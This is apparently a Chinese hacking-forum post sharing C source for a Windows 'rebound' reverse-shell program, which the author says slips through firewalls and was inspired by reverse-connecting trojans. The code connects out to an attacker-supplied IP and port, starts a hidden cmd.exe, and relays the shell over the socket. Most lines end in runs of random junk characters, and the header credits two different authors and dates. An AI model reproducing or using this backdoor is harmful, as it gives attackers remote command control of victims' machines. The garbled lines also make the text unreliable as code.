这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }gi`?58J6
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/* ==============================
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Rebound port in Windows NT \C'I l
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By wind,2006/7 16d{IGMz
===============================*/ JqH.QnKcv
#include '&o>
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#include ]>]H:NEq
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#pragma comment(lib,"wsock32.lib") S+E3;' H
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void OutputShell(); _tg3%X]
SOCKET sClient; R.n`R|NOd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v2dSC(hRZ
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void main(int argc,char **argv) s$=B~l
{ m<VL19o>R
WSADATA stWsaData; B+e~k?O] 1
int nRet; xX67bswG
SOCKADDR_IN stSaiClient,stSaiServer; l<+,(E=
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if(argc != 3) _ZvX" {y~
{ EWvid4QEi
printf("Useage:\n\rRebound DestIP DestPort\n"); [+[fD
return; r%?}5"*
} jl?y}
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WSAStartup(MAKEWORD(2,2),&stWsaData); &b#NF1Q.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D\i8rqU/l
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stSaiClient.sin_family = AF_INET; Yv|bUZ@
stSaiClient.sin_port = htons(0); _d"Y6
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9#A{C!75(y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !&<Wc^PG
{ F^[Rwzv>c
printf("Bind Socket Failed!\n"); Ub-k<]yZ
return; 9R<J$e
} ,HjHt\!~<
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stSaiServer.sin_family = AF_INET; ^SES')x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vN[m5)aT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @x\gk5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P24
{ [+5SEr}
printf("Connect Error!"); l'X?S(fiV
return; :r[-7
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} Ql!6I (
OutputShell(); eXtF[0f
} ~s^6Q#Z9|
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void OutputShell() 1</t #r
{ Zi '8~iEH
char szBuff[1024]; /:];2P6#X
SECURITY_ATTRIBUTES stSecurityAttributes; q.Aw!]:!
OSVERSIONINFO stOsversionInfo; Nl>b'G96
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7B> cmi
STARTUPINFO stStartupInfo; pLFL6\{g
char *szShell; @;-Un/'C;7
PROCESS_INFORMATION stProcessInformation; b+fy&rk@-
unsigned long lBytesRead; S}oF7;'Ga
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~8qFM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "B{xC}Tw
stSecurityAttributes.lpSecurityDescriptor = 0; P)
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stSecurityAttributes.bInheritHandle = TRUE; (:hmp"S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U8 @*I>vA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tw^.(m5d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \y+F!;IxL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BB}iBf I'
stStartupInfo.wShowWindow = SW_HIDE; s#CEhb
stStartupInfo.hStdInput = hReadPipe; !haXO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5|H(N}S_
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GetVersionEx(&stOsversionInfo); dJgOfg^
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switch(stOsversionInfo.dwPlatformId) 4zvU"np
{ F;l<>|vG
case 1: 9n2%7dLQ*
szShell = "command.com"; %.}
break; %1l80Z
default: st^N QL
szShell = "cmd.exe"; UVi/Be#|
break; 9(\N+
} I;PO$T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BwA~*5TFu
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send(sClient,szMsg,77,0); \% Ih 6
while(1) [IX!3I[J]
{ }E]&13>r
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8J@OMW&[l
if(lBytesRead) 9S`b7U=P
{ x6mq['_
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |UiykQ
send(sClient,szBuff,lBytesRead,0); [\y>&"uk
} Jywz27j
else WUQh[A41
{ Fd=`9N9
lBytesRead=recv(sClient,szBuff,1024,0); @g` ,'r
if(lBytesRead<=0) break; JaN_[ou
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `9NnL.w!
} I ywx1ac
} GOgT(.5
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return; V)?g4M3}
}